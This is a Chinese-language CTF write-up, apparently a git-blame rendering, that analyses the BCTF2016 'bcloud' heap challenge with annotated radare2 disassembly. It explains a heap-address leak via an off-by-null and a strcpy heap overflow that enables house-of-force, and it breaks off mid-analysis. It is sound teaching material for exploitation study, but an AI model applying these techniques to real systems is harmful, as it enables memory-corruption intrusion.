2018-05-02 21:27:00 +07:00
|
|
|
|
# 6.1.23 pwn BCTF2016 bcloud
|
2018-04-30 22:45:54 +07:00
|
|
|
|
|
|
|
|
|
- [题目复现](#题目复现)
|
|
|
|
|
- [题目解析](#题目解析)
|
|
|
|
|
- [漏洞利用](#漏洞利用)
|
|
|
|
|
- [参考资料](#参考资料)
|
|
|
|
|
|
2018-05-02 21:27:00 +07:00
|
|
|
|
[下载文件](../src/writeup/6.1.23_pwn_bctf2016_bcloud)
|
2018-04-30 22:45:54 +07:00
|
|
|
|
|
|
|
|
|
## 题目复现
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
$ file bcloud
|
2018-04-30 22:45:54 +07:00
|
|
|
|
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
|
|
|
|
|
$ checksec -f bcloud
|
|
|
|
|
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
|
|
|
|
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 bcloud
|
|
|
|
|
$ strings libc-2.19.so | grep "GNU C"
|
|
|
|
|
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.7) stable release version 2.19, by Roland McGrath et al.
|
|
|
|
|
Compiled by GNU CC version 4.8.2.
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-04 21:56:51 +07:00
|
|
|
|
32 位程序,开启了 Canary 和 NX,默认开启 ASLR。
|
2018-04-30 22:45:54 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
在 Ubuntu-14.04 上玩一下:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2018-05-05 23:52:48 +07:00
|
|
|
|
$ ./bcloud
|
|
|
|
|
Input your name:
|
|
|
|
|
AAAA
|
|
|
|
|
Hey AAAA! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
|
|
|
|
|
Now let's set synchronization options.
|
|
|
|
|
Org:
|
|
|
|
|
1234
|
|
|
|
|
Host:
|
|
|
|
|
4321
|
|
|
|
|
OKay! Enjoy:)
|
|
|
|
|
1.New note
|
|
|
|
|
2.Show note
|
|
|
|
|
3.Edit note
|
|
|
|
|
4.Delete note
|
|
|
|
|
5.Syn
|
|
|
|
|
6.Quit
|
|
|
|
|
option--->>
|
|
|
|
|
1
|
|
|
|
|
Input the length of the note content:
|
|
|
|
|
10
|
|
|
|
|
Input the content:
|
|
|
|
|
BBBB
|
|
|
|
|
Create success, the id is 0
|
|
|
|
|
1.New note
|
|
|
|
|
2.Show note
|
|
|
|
|
3.Edit note
|
|
|
|
|
4.Delete note
|
|
|
|
|
5.Syn
|
|
|
|
|
6.Quit
|
|
|
|
|
option--->>
|
|
|
|
|
2
|
|
|
|
|
WTF? Something strange happened.
|
|
|
|
|
1.New note
|
|
|
|
|
2.Show note
|
|
|
|
|
3.Edit note
|
|
|
|
|
4.Delete note
|
|
|
|
|
5.Syn
|
|
|
|
|
6.Quit
|
|
|
|
|
option--->>
|
|
|
|
|
3
|
|
|
|
|
Input the id:
|
|
|
|
|
0
|
|
|
|
|
Input the new content:
|
|
|
|
|
CCCC
|
|
|
|
|
Edit success.
|
|
|
|
|
1.New note
|
|
|
|
|
2.Show note
|
|
|
|
|
3.Edit note
|
|
|
|
|
4.Delete note
|
|
|
|
|
5.Syn
|
|
|
|
|
6.Quit
|
|
|
|
|
option--->>
|
|
|
|
|
4
|
|
|
|
|
Input the id:
|
|
|
|
|
0
|
|
|
|
|
Delete success.
|
|
|
|
|
1.New note
|
|
|
|
|
2.Show note
|
|
|
|
|
3.Edit note
|
|
|
|
|
4.Delete note
|
|
|
|
|
5.Syn
|
|
|
|
|
6.Quit
|
|
|
|
|
option--->>
|
|
|
|
|
5
|
|
|
|
|
Syncing...
|
|
|
|
|
Synchronization success.
|
|
|
|
|
```
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
典型的堆利用程序,实现了添加、修改、删除的功能,显示功能未实现。另外还有个同步,不知道做什么用。在打印菜单之前,程序读入 name 并打印了出来,这个很有意思,可能是为了信息泄漏故意设置的。
|
2018-04-30 22:45:54 +07:00
|
|
|
|
|
|
|
|
|
## 题目解析
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
### init
|
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
在 main 函数打印菜单之前,有一个初始化函数 `fcn.0804899c`,这个函数又依次调用了函数 `sub.memset_7a1` 和函数 `sub.memset_84e`:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
[0x08048590]> pdf @ sub.memset_7a1
|
2018-05-05 23:52:48 +07:00
|
|
|
|
/ (fcn) sub.memset_7a1 173
|
|
|
|
|
| sub.memset_7a1 ();
|
|
|
|
|
| ; var int local_60h @ ebp-0x60
|
|
|
|
|
| ; var int local_5ch @ ebp-0x5c
|
|
|
|
|
| ; var int local_ch @ ebp-0xc
|
|
|
|
|
| ; var int local_4h @ esp+0x4
|
|
|
|
|
| ; var int local_8h @ esp+0x8
|
|
|
|
|
| ; CALL XREF from 0x080489a2 (fcn.0804899c)
|
|
|
|
|
| 0x080487a1 push ebp
|
|
|
|
|
| 0x080487a2 mov ebp, esp
|
|
|
|
|
| 0x080487a4 sub esp, 0x78 ; 开辟栈空间
|
|
|
|
|
| 0x080487a7 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
|
|
|
|
|
| 0x080487ad mov dword [local_ch], eax
|
|
|
|
|
| 0x080487b0 xor eax, eax
|
|
|
|
|
| 0x080487b2 lea eax, [local_5ch] ; eax = local_5ch
|
|
|
|
|
| 0x080487b5 add eax, 0x40 ; eax = local_5ch + 0x40
|
|
|
|
|
| 0x080487b8 mov dword [local_60h], eax ; [local_60h] = local_5ch + 0x40
|
|
|
|
|
| 0x080487bb mov dword [local_8h], 0x50 ; 'P' ; [0x50:4]=-1 ; 80
|
|
|
|
|
| 0x080487c3 mov dword [local_4h], 0
|
|
|
|
|
| 0x080487cb lea eax, [local_5ch]
|
|
|
|
|
| 0x080487ce mov dword [esp], eax
|
|
|
|
|
| 0x080487d1 call sym.imp.memset ; memset(local_5ch, 0, 0x50) 初始化内存
|
|
|
|
|
| 0x080487d6 mov dword [esp], str.Input_your_name: ; [0x8048e87:4]=0x75706e49 ; "Input your name:"
|
|
|
|
|
| 0x080487dd call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| 0x080487e2 mov dword [local_8h], 0xa
|
|
|
|
|
| 0x080487ea mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
|
|
|
|
|
| 0x080487f2 lea eax, [local_5ch]
|
|
|
|
|
| 0x080487f5 mov dword [esp], eax
|
|
|
|
|
| 0x080487f8 call sub.read_68d ; read_68d(local_5ch, 0x40, 0xa) 调用函数读入 0x40 个字节 到栈
|
|
|
|
|
| 0x080487fd mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
|
|
|
|
|
| 0x08048804 call sym.imp.malloc ; malloc(0x40) 分配空间
|
|
|
|
|
| 0x08048809 mov edx, eax
|
|
|
|
|
| 0x0804880b mov eax, dword [local_60h] ; eax = local_5ch + 0x40
|
|
|
|
|
| 0x0804880e mov dword [eax], edx ; 将返回地址放到 [local_5ch + 0x40],该地址位于栈上
|
|
|
|
|
| 0x08048810 mov eax, dword [local_60h]
|
|
|
|
|
| 0x08048813 mov eax, dword [eax]
|
|
|
|
|
| 0x08048815 mov dword [0x804b0cc], eax ; 将返回地址放到 [0x804b0cc],该地址位于 .bss 段
|
|
|
|
|
| 0x0804881a mov eax, dword [local_60h]
|
|
|
|
|
| 0x0804881d mov eax, dword [eax]
|
|
|
|
|
| 0x0804881f lea edx, [local_5ch]
|
|
|
|
|
| 0x08048822 mov dword [local_4h], edx
|
|
|
|
|
| 0x08048826 mov dword [esp], eax ; [esp] 为返回地址
|
|
|
|
|
| 0x08048829 call sym.imp.strcpy ; strcpy([esp], local_5ch) 将读入的字符串复制到分配的空间上
|
|
|
|
|
| 0x0804882e mov eax, dword [local_60h]
|
|
|
|
|
| 0x08048831 mov eax, dword [eax]
|
|
|
|
|
| 0x08048833 mov dword [esp], eax
|
|
|
|
|
| 0x08048836 call sub.Hey__s__Welcome_to_BCTF_CLOUD_NOTE_MANAGE_SYSTEM_779 ; 调用函数打印出字符串
|
|
|
|
|
| 0x0804883b mov eax, dword [local_ch]
|
|
|
|
|
| 0x0804883e xor eax, dword gs:[0x14]
|
|
|
|
|
| ,=< 0x08048845 je 0x804884c
|
|
|
|
|
| | 0x08048847 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
|
|
|
|
| | ; JMP XREF from 0x08048845 (sub.memset_7a1)
|
|
|
|
|
| `-> 0x0804884c leave
|
|
|
|
|
\ 0x0804884d ret
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
所以该函数所读入的字符串是先放在栈上,然后复制到堆。最后调用一个函数打印出了堆上的字符串。
|
|
|
|
|
|
|
|
|
|
来看一下读入字符串的函数 `sub.read_68d`:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2018-05-05 23:52:48 +07:00
|
|
|
|
[0x08048590]> pdf @ sub.read_68d
|
|
|
|
|
/ (fcn) sub.read_68d 124
|
|
|
|
|
| sub.read_68d (int arg_8h, int arg_ch, int arg_10h);
|
|
|
|
|
| ; var int local_1ch @ ebp-0x1c
|
|
|
|
|
| ; var int local_dh @ ebp-0xd
|
|
|
|
|
| ; var int local_ch @ ebp-0xc
|
|
|
|
|
| ; arg int arg_8h @ ebp+0x8
|
|
|
|
|
| ; arg int arg_ch @ ebp+0xc
|
|
|
|
|
| ; arg int arg_10h @ ebp+0x10
|
|
|
|
|
| ; var int local_4h @ esp+0x4
|
|
|
|
|
| ; var int local_8h @ esp+0x8
|
|
|
|
|
| ; XREFS: CALL 0x080487f8 CALL 0x080488d4 CALL 0x080488fe CALL 0x08048737 CALL 0x08048a79 CALL 0x08048b4f
|
|
|
|
|
| 0x0804868d push ebp
|
|
|
|
|
| 0x0804868e mov ebp, esp
|
|
|
|
|
| 0x08048690 sub esp, 0x28 ; '('
|
|
|
|
|
| 0x08048693 mov eax, dword [arg_10h] ; 第三个参数
|
|
|
|
|
| 0x08048696 mov byte [local_1ch], al ; 通过后面的程序可知这里是换行符 "\x0a"
|
|
|
|
|
| 0x08048699 mov dword [local_ch], 0
|
|
|
|
|
| 0x080486a0 mov dword [local_ch], 0 ; 循环计数 i,初始化为 0
|
|
|
|
|
| ,=< 0x080486a7 jmp 0x80486f1
|
|
|
|
|
| | ; JMP XREF from 0x080486f7 (sub.read_68d)
|
|
|
|
|
| .--> 0x080486a9 mov dword [local_8h], 1
|
|
|
|
|
| :| 0x080486b1 lea eax, [local_dh]
|
|
|
|
|
| :| 0x080486b4 mov dword [local_4h], eax
|
|
|
|
|
| :| 0x080486b8 mov dword [esp], 0
|
|
|
|
|
| :| 0x080486bf call sym.imp.read ; read(0, [local_dh], 1) 读入一个字节
|
|
|
|
|
| :| 0x080486c4 test eax, eax
|
|
|
|
|
| ,===< 0x080486c6 jg 0x80486d4 ; 读入成功时跳转
|
|
|
|
|
| |:| 0x080486c8 mov dword [esp], 0xffffffff ; [0xffffffff:4]=-1 ; -1
|
|
|
|
|
| |:| 0x080486cf call sym.imp.exit ; exit(-1) 否则退出
|
|
|
|
|
| |:| ; JMP XREF from 0x080486c6 (sub.read_68d)
|
|
|
|
|
| `---> 0x080486d4 movzx eax, byte [local_dh]
|
|
|
|
|
| :| 0x080486d8 cmp al, byte [local_1ch] ; 将读入字节与换行符比较
|
|
|
|
|
| ,===< 0x080486db jne 0x80486df ; 不相等时跳转
|
|
|
|
|
| ,====< 0x080486dd jmp 0x80486f9 ; 否则退出循环
|
|
|
|
|
| ||:| ; JMP XREF from 0x080486db (sub.read_68d)
|
|
|
|
|
| |`---> 0x080486df mov edx, dword [local_ch] ; 取出 i
|
|
|
|
|
| | :| 0x080486e2 mov eax, dword [arg_8h] ; 第一个参数,即 buf 的位置
|
|
|
|
|
| | :| 0x080486e5 add edx, eax ; buf[i]
|
|
|
|
|
| | :| 0x080486e7 movzx eax, byte [local_dh]
|
|
|
|
|
| | :| 0x080486eb mov byte [edx], al ; 将读入字节放到 buf[i]
|
|
|
|
|
| | :| 0x080486ed add dword [local_ch], 1 ; i = i + 1
|
|
|
|
|
| | :| ; JMP XREF from 0x080486a7 (sub.read_68d)
|
|
|
|
|
| | :`-> 0x080486f1 mov eax, dword [local_ch]
|
|
|
|
|
| | : 0x080486f4 cmp eax, dword [arg_ch] ; i 与第二个参数比较
|
|
|
|
|
| | `==< 0x080486f7 jl 0x80486a9 ; 小于时循环继续
|
|
|
|
|
| | ; JMP XREF from 0x080486dd (sub.read_68d)
|
|
|
|
|
| `----> 0x080486f9 mov edx, dword [local_ch]
|
|
|
|
|
| 0x080486fc mov eax, dword [arg_8h] ; 取出 buf 的位置
|
|
|
|
|
| 0x080486ff add eax, edx ; buf[i]
|
|
|
|
|
| 0x08048701 mov byte [eax], 0 ; 将 "\x00" 放到 buf[i]
|
|
|
|
|
| 0x08048704 mov eax, dword [local_ch] ; 返回 i
|
|
|
|
|
| 0x08048707 leave
|
|
|
|
|
\ 0x08048708 ret
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-29 20:51:00 +07:00
|
|
|
|
乍看之下似乎没有问题,在读入字符串末尾也加上了截断 `\x00`。
|
2018-05-05 23:52:48 +07:00
|
|
|
|
|
2018-05-29 20:51:00 +07:00
|
|
|
|
但是,注意观察读入字符串和 malloc 返回地址在栈上的位置关系。字符串其实地址 `local_5ch`,最多 0x40 个字节,返回地址位于 `local_5ch + 0x40`,所以如果我们正好读入 0x40 字节,则 `\x00` 会被放到 `local_5ch + 0x41` 的位置,然后正好被返回地址给覆盖掉了。由于函数 `strcpy()` 是以 `\x00` 来决定字符串结尾的,所以字符串连上返回地址会被一起复制到堆上。然后又被一起打印出来。于是我们就得到了堆地址。
|
2018-05-05 23:52:48 +07:00
|
|
|
|
|
|
|
|
|
继续看函数 `sub.memset_84e`:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
[0x08048590]> pdf @ sub.memset_84e
|
2018-05-05 23:52:48 +07:00
|
|
|
|
/ (fcn) sub.memset_84e 334
|
|
|
|
|
| sub.memset_84e ();
|
|
|
|
|
| ; var int local_a8h @ ebp-0xa8
|
|
|
|
|
| ; var int local_a4h @ ebp-0xa4
|
|
|
|
|
| ; var int local_a0h @ ebp-0xa0
|
|
|
|
|
| ; var int local_9ch @ ebp-0x9c
|
|
|
|
|
| ; var int local_ch @ ebp-0xc
|
|
|
|
|
| ; var int local_4h @ esp+0x4
|
|
|
|
|
| ; var int local_8h @ esp+0x8
|
|
|
|
|
| ; CALL XREF from 0x080489a7 (fcn.0804899c)
|
|
|
|
|
| 0x0804884e push ebp
|
|
|
|
|
| 0x0804884f mov ebp, esp
|
|
|
|
|
| 0x08048851 sub esp, 0xb8 ; 开辟栈空间
|
|
|
|
|
| 0x08048857 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
|
|
|
|
|
| 0x0804885d mov dword [local_ch], eax
|
|
|
|
|
| 0x08048860 xor eax, eax
|
|
|
|
|
| 0x08048862 lea eax, [local_9ch] ; eax = local_9ch
|
|
|
|
|
| 0x08048868 add eax, 0x40 ; eax = local_9ch + 0x40
|
|
|
|
|
| 0x0804886b mov dword [local_a8h], eax ; [local_a8h] = local_9ch + 0x40
|
|
|
|
|
| 0x08048871 lea eax, [local_9ch] ; eax = local_9ch
|
|
|
|
|
| 0x08048877 add eax, 0x44 ; eax = local_9ch + 0x44
|
|
|
|
|
| 0x0804887a mov dword [local_a4h], eax ; [local_a4h] = local_9ch + 0x44
|
|
|
|
|
| 0x08048880 lea eax, [local_9ch] ; eax = local_9ch
|
|
|
|
|
| 0x08048886 add eax, 0x88 ; eax = local_9ch + 0x88
|
|
|
|
|
| 0x0804888b mov dword [local_a0h], eax ; [local_a0h] = local_9ch + 0x88
|
|
|
|
|
| 0x08048891 mov dword [local_8h], 0x90 ; [0x90:4]=-1 ; 144
|
|
|
|
|
| 0x08048899 mov dword [local_4h], 0
|
|
|
|
|
| 0x080488a1 lea eax, [local_9ch]
|
|
|
|
|
| 0x080488a7 mov dword [esp], eax
|
|
|
|
|
| 0x080488aa call sym.imp.memset ; memset(local_9ch, 0, 0x90) 初始化内存
|
|
|
|
|
| 0x080488af mov dword [esp], str.Org: ; [0x8048e98:4]=0x3a67724f ; "Org:"
|
|
|
|
|
| 0x080488b6 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| 0x080488bb mov dword [local_8h], 0xa
|
|
|
|
|
| 0x080488c3 mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
|
|
|
|
|
| 0x080488cb lea eax, [local_9ch]
|
|
|
|
|
| 0x080488d1 mov dword [esp], eax
|
|
|
|
|
| 0x080488d4 call sub.read_68d ; read_68d(local_9ch, 0x40, 0xa) 调用函数读入 Org 到栈
|
|
|
|
|
| 0x080488d9 mov dword [esp], str.Host: ; [0x8048e9d:4]=0x74736f48 ; "Host:"
|
|
|
|
|
| 0x080488e0 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| 0x080488e5 mov dword [local_8h], 0xa
|
|
|
|
|
| 0x080488ed mov dword [local_4h], 0x40 ; '@' ; [0x40:4]=-1 ; 64
|
|
|
|
|
| 0x080488f5 mov eax, dword [local_a4h]
|
|
|
|
|
| 0x080488fb mov dword [esp], eax
|
|
|
|
|
| 0x080488fe call sub.read_68d ; read_68d(local_9ch + 0x44, 0x40, 0xa) 调用函数读入 Host 到栈
|
|
|
|
|
| 0x08048903 mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
|
|
|
|
|
| 0x0804890a call sym.imp.malloc ; addr1 = malloc(0x40) 分配空间
|
|
|
|
|
| 0x0804890f mov edx, eax
|
|
|
|
|
| 0x08048911 mov eax, dword [local_a0h] ; eax = local_9ch + 0x88
|
|
|
|
|
| 0x08048917 mov dword [eax], edx ; 将返回地址 addr1 放到 [local_9ch + 0x88]
|
|
|
|
|
| 0x08048919 mov dword [esp], 0x40 ; '@' ; [0x40:4]=-1 ; 64
|
|
|
|
|
| 0x08048920 call sym.imp.malloc ; addr2 = malloc(0x40) 分配空间
|
|
|
|
|
| 0x08048925 mov edx, eax
|
|
|
|
|
| 0x08048927 mov eax, dword [local_a8h] ; eax = local_9ch + 0x40
|
|
|
|
|
| 0x0804892d mov dword [eax], edx ; 将返回地址 addr2 放到 [local_9ch + 0x40]
|
|
|
|
|
| 0x0804892f mov eax, dword [local_a8h]
|
|
|
|
|
| 0x08048935 mov eax, dword [eax]
|
|
|
|
|
| 0x08048937 mov dword [0x804b0c8], eax ; 将返回地址 addr2 放到 [0x804b0c8]
|
|
|
|
|
| 0x0804893c mov eax, dword [local_a0h]
|
|
|
|
|
| 0x08048942 mov eax, dword [eax]
|
|
|
|
|
| 0x08048944 mov dword [0x804b148], eax ; 将返回地址 addr1 放到 [0x804b148]
|
|
|
|
|
| 0x08048949 mov eax, dword [local_a0h]
|
|
|
|
|
| 0x0804894f mov eax, dword [eax]
|
|
|
|
|
| 0x08048951 mov edx, dword [local_a4h]
|
|
|
|
|
| 0x08048957 mov dword [local_4h], edx
|
|
|
|
|
| 0x0804895b mov dword [esp], eax
|
|
|
|
|
| 0x0804895e call sym.imp.strcpy ; strcpy(addr1, local_9ch + 0x44) 复制 Host 到 addr1
|
|
|
|
|
| 0x08048963 mov eax, dword [local_a8h]
|
|
|
|
|
| 0x08048969 mov eax, dword [eax]
|
|
|
|
|
| 0x0804896b lea edx, [local_9ch]
|
|
|
|
|
| 0x08048971 mov dword [local_4h], edx
|
|
|
|
|
| 0x08048975 mov dword [esp], eax
|
|
|
|
|
| 0x08048978 call sym.imp.strcpy ; strcpy(addr2, local_9ch) 复制 Org 到 addr2
|
|
|
|
|
| 0x0804897d mov dword [esp], str.OKay__Enjoy: ; [0x8048ea3:4]=0x79614b4f ; "OKay! Enjoy:)"
|
|
|
|
|
| 0x08048984 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| 0x08048989 mov eax, dword [local_ch]
|
|
|
|
|
| 0x0804898c xor eax, dword gs:[0x14]
|
|
|
|
|
| ,=< 0x08048993 je 0x804899a
|
|
|
|
|
| | 0x08048995 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
|
|
|
|
| | ; JMP XREF from 0x08048993 (sub.memset_84e)
|
|
|
|
|
| `-> 0x0804899a leave
|
|
|
|
|
\ 0x0804899b ret
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
同样的,Host 的返回地址放在 `local_9ch + 0x88` 的位置,而字符串最多到 `local_9ch + 0x44 + 0x40`,中间还间隔了 0x4 字节,所以不存在漏洞。但是 Org 的返回地址放在 `local_9ch + 0x40`,正好位于字符串的后面,所以存在漏洞。同时 Host 的字符串又正好位于 Org 返回地址的后面,所以 strcpy 会将 Org 字符串,返回地址和 Host 字符串全都复制到 Org 的堆上,造成堆溢出。利用这个堆溢出我们可以修改 top chunk 的 size,即 house-of-force。
|
|
|
|
|
|
2018-05-29 20:51:00 +07:00
|
|
|
|
当然这种漏洞有一定的几率不会成功,比如返回地址的低位本来就是 `\x00` 的时候,就恰好截断了。
|
2018-05-05 23:52:48 +07:00
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### New note
|
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
[0x08048590]> pdf @ sub.Input_the_length_of_the_note_content:_9ae
|
2018-05-05 23:52:48 +07:00
|
|
|
|
/ (fcn) sub.Input_the_length_of_the_note_content:_9ae 244
|
|
|
|
|
| sub.Input_the_length_of_the_note_content:_9ae (int arg_9h, int arg_ah);
|
|
|
|
|
| ; var int local_10h @ ebp-0x10
|
|
|
|
|
| ; var int local_ch @ ebp-0xc
|
|
|
|
|
| ; arg int arg_9h @ ebp+0x9
|
|
|
|
|
| ; arg int arg_ah @ ebp+0xa
|
|
|
|
|
| ; CALL XREF from 0x08048d11 (main + 144)
|
|
|
|
|
| 0x080489ae push ebp
|
|
|
|
|
| 0x080489af mov ebp, esp
|
|
|
|
|
| 0x080489b1 sub esp, 0x28 ; '('
|
|
|
|
|
| 0x080489b4 mov dword [local_ch], 0
|
|
|
|
|
| 0x080489bb mov dword [local_10h], 0
|
|
|
|
|
| 0x080489c2 mov dword [local_10h], 0 ; 循环计数 i,初始化为 0
|
|
|
|
|
| ,=< 0x080489c9 jmp 0x80489df
|
|
|
|
|
| | ; JMP XREF from 0x080489e3 (sub.Input_the_length_of_the_note_content:_9ae)
|
|
|
|
|
| .--> 0x080489cb mov eax, dword [local_10h]
|
|
|
|
|
| :| 0x080489ce mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
|
|
|
|
|
| :| 0x080489d5 test eax, eax
|
|
|
|
|
| ,===< 0x080489d7 jne 0x80489db ; 当 notes[i] 不为 0 时继续循环
|
|
|
|
|
| ,====< 0x080489d9 jmp 0x80489e5 ; 否则跳出循环
|
|
|
|
|
| ||:| ; JMP XREF from 0x080489d7 (sub.Input_the_length_of_the_note_content:_9ae)
|
|
|
|
|
| |`---> 0x080489db add dword [local_10h], 1 ; i = i + 1
|
|
|
|
|
| | :| ; JMP XREF from 0x080489c9 (sub.Input_the_length_of_the_note_content:_9ae)
|
|
|
|
|
| | :`-> 0x080489df cmp dword [local_10h], 9 ; 最多有 10 个 note
|
|
|
|
|
| | `==< 0x080489e3 jle 0x80489cb ; i <= 9 时循环继续
|
|
|
|
|
| | ; JMP XREF from 0x080489d9 (sub.Input_the_length_of_the_note_content:_9ae)
|
|
|
|
|
| `----> 0x080489e5 cmp dword [local_10h], 0xa ; [0xa:4]=-1 ; 10
|
|
|
|
|
| ,=< 0x080489e9 jne 0x80489fc ; i 不等于 10 时跳转
|
|
|
|
|
| | 0x080489eb mov dword [esp], str.Lack_of_space._Upgrade_your_account_with_just__100_:
|
|
|
|
|
| | 0x080489f2 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| ,==< 0x080489f7 jmp 0x8048aa0 ; 否则函数返回
|
|
|
|
|
| || ; JMP XREF from 0x080489e9 (sub.Input_the_length_of_the_note_content:_9ae)
|
|
|
|
|
| |`-> 0x080489fc mov dword [esp], str.Input_the_length_of_the_note_content: ; [0x8048eec:4]=0x75706e49
|
|
|
|
|
| | 0x08048a03 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| | 0x08048a08 call sub.atoi_709 ; 调用函数读入 length
|
|
|
|
|
| | 0x08048a0d mov dword [local_ch], eax ; 将 length 放到 [local_ch]
|
|
|
|
|
| | 0x08048a10 mov eax, dword [local_ch]
|
|
|
|
|
| | 0x08048a13 add eax, 4 ; length = length + 4
|
|
|
|
|
| | 0x08048a16 mov dword [esp], eax
|
|
|
|
|
| | 0x08048a19 call sym.imp.malloc ; malloc(length + 4) 为 note 分配空间
|
|
|
|
|
| | 0x08048a1e mov edx, eax
|
|
|
|
|
| | 0x08048a20 mov eax, dword [local_10h] ; eax = i
|
|
|
|
|
| | 0x08048a23 mov dword [eax*4 + 0x804b120], edx ; 将 note 地址放到 notes[i]
|
|
|
|
|
| | 0x08048a2a mov eax, dword [local_10h]
|
|
|
|
|
| | 0x08048a2d mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
|
|
|
|
|
| | 0x08048a34 test eax, eax
|
|
|
|
|
| |,=< 0x08048a36 jne 0x8048a44 ; notes[i] 不为 0 时跳转
|
|
|
|
|
| || 0x08048a38 mov dword [esp], 0xffffffff ; [0xffffffff:4]=-1 ; -1
|
|
|
|
|
| || 0x08048a3f call sym.imp.exit ; exit(-1) 否则退出程序
|
|
|
|
|
| || ; JMP XREF from 0x08048a36 (sub.Input_the_length_of_the_note_content:_9ae)
|
|
|
|
|
| |`-> 0x08048a44 mov eax, dword [local_10h]
|
|
|
|
|
| | 0x08048a47 mov edx, dword [local_ch]
|
|
|
|
|
| | 0x08048a4a mov dword [eax*4 + 0x804b0a0], edx ; lengths[i] = length
|
|
|
|
|
| | 0x08048a51 mov dword [esp], str.Input_the_content: ; [0x8048f12:4]=0x75706e49 ; "Input the content:"
|
|
|
|
|
| | 0x08048a58 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| | 0x08048a5d mov eax, dword [local_10h]
|
|
|
|
|
| | 0x08048a60 mov eax, dword [eax*4 + 0x804b120] ; [0x804b120:4]=0
|
|
|
|
|
| | 0x08048a67 mov dword [esp + 8], 0xa
|
|
|
|
|
| | 0x08048a6f mov edx, dword [local_ch]
|
|
|
|
|
| | 0x08048a72 mov dword [esp + 4], edx ; [esp + 4] = length
|
|
|
|
|
| | 0x08048a76 mov dword [esp], eax ; [esp] = notes[i]
|
|
|
|
|
| | 0x08048a79 call sub.read_68d ; read_68d(notes[i], length, 0xa) 调用函数读入 content
|
|
|
|
|
| | 0x08048a7e mov eax, dword [local_10h]
|
|
|
|
|
| | 0x08048a81 mov dword [esp + 4], eax
|
|
|
|
|
| | 0x08048a85 mov dword [esp], str.Create_success__the_id_is__d ; [0x8048f25:4]=0x61657243 ; "Create success, the id is %d\n"
|
|
|
|
|
| | 0x08048a8c call sym.imp.printf ; int printf(const char *format)
|
|
|
|
|
| | 0x08048a91 mov eax, dword [local_10h]
|
|
|
|
|
| | 0x08048a94 mov dword [eax*4 + 0x804b0e0], 0 ; syns[i] = 0
|
|
|
|
|
| | 0x08048a9f nop
|
|
|
|
|
| | ; JMP XREF from 0x080489f7 (sub.Input_the_length_of_the_note_content:_9ae)
|
|
|
|
|
| `--> 0x08048aa0 leave
|
|
|
|
|
\ 0x08048aa1 ret
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
我们可以得到下面的数据结构:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
```c
|
|
|
|
|
int *lengths[10]; // 0x804b0a0
|
|
|
|
|
int *syns[10]; // 0x804b0e0
|
|
|
|
|
int *notes[10]; // 0x804b120
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
三个数组都是通过指标 i 来对应的,分别存放 note 地址,length 及是否同步。
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### Edit note
|
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
[0x08048590]> pdf @ sub.Input_the_id:_ab7
|
2018-05-05 23:52:48 +07:00
|
|
|
|
/ (fcn) sub.Input_the_id:_ab7 172
|
|
|
|
|
| sub.Input_the_id:_ab7 (int arg_9h);
|
|
|
|
|
| ; var int local_14h @ ebp-0x14
|
|
|
|
|
| ; var int local_10h @ ebp-0x10
|
|
|
|
|
| ; var int local_ch @ ebp-0xc
|
|
|
|
|
| ; var int local_0h @ ebp-0x0
|
|
|
|
|
| ; arg int arg_9h @ ebp+0x9
|
|
|
|
|
| ; CALL XREF from 0x08048d1f (main + 158)
|
|
|
|
|
